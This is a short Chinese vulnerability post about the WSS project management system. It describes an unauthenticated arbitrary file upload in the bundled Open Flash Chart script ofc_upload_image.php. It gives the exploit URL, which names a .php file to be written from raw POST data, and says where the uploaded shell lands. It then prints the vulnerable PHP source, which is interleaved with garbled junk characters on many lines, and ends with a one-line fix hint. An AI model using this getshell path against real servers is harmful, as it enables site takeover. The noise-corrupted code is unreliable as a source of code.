WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
2 P9 h" W* ?; y% ~! E9 f0 E1 u/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php

7 V: X! a% q! N' x
+ r, {7 ], j4 b) r最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php

7 I/ q$ e( R9 ~* N5 k- `//
2 e$ s1 m1 V5 E) Z6 x6 C// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
' L- l* ~. Y5 i% W2 x- q6 I//
9 q; ?( Z, z1 t* J' c, ^
2 l" M. S: z% m3 H! i/*
" s5 x7 {9 G8 y# E, @) _
print_r( $_GET );
5 V+ a4 K7 _6 R; R+ g' b/ bprint_r( $_POST );
print_r( $_FILES );
. o1 E. e  H  l/ a* ]0 R4 a
print_r( $GLOBALS );
; s6 i  S, k' b- i" I% qprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

# |8 ^$ o' r& T2 ^* c  w9 b6 d*/
: |+ U: b0 F" d// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
& f+ D6 B7 H3 B; v# _
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
3 W8 ~: `0 ?, ]& C0 e5 a/ ?
1 L, d& n+ ~; t& L$ Q& O; E// full path to the saved image including filename //
6 t' k% y, `; v$destination = $default_path . basename( $_GET[ 'name' ] );
# H4 W1 T0 Q* T
, b0 I5 W  {8 W5 Jecho 'Saving your image to: '. $destination;
// print_r( $_POST );
) J/ X* F3 b, [6 v) y( E// print_r( $_SERVER );
& S7 d% g, W2 P. M// echo $HTTP_RAW_POST_DATA;
& ]2 w- _, z0 i
+ i: E' R$ M/ D2 S3 I//
8 @1 G& e. [1 J5 _// POST data is usually string data, but we are passing a RAW .png
, e  Z1 Q2 f5 f+ [" g" c# G2 a// so PHP is a bit confused and $_POST is empty. But it has saved
4 `7 c* \1 E: i) M$ i& S// the raw bits into $HTTP_RAW_POST_DATA
* f% ?  p: z# r& S//

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
  T# D! i* K/ T2 \9 kfclose($jfh);

//
  q: ?9 A! y8 u! T7 W' Z// LOOK:
2 x3 a1 ]# u/ ]$ N//
7 w; N! |* ?5 o/ ~+ c' s, Q6 z7 qexit();
8 z0 @& o) f: P& N6 \//
" g! D5 t7 t; u1 q' i* S1 D! g' a: W2 b% Y6 d// PHP5:
* }4 M# z- F  M; V; X0 b2 x//


+ _2 n" B: C: ~// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
! T$ n4 l! ]9 i! \. H; d( N
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
6 ~9 o8 L0 e1 @- N( z8 {$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
. g* {0 Y3 d) i8 ^/ r
// move the image into the specified directory //
- f* [5 O+ |0 L1 yif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
( c" c5 _( `. b+ Z0 N# F    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
}
# a4 ^" R- t! P

0 c5 Z/ S3 j3 l: f. q$ Y?>

4 }8 j8 H% T2 v+ N( y! m+ Z
4 Y# `1 a8 p/ k
1 `, k% a% t2 y! m+ j1 T# i
5 T$ H/ q: }8 q$ i& J

  X2 y. s, ~$ o, ^6 v; d修复方案：
- E! t' `9 S  A8 K2 n8 O3 G5 g这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
0 o7 F4 O: i; m6 Y9 O' P5 `4 m' `

* [( K$ r5 Q4 l# A: t; i- ?
, ~  {3 E5 \( q; ^9 }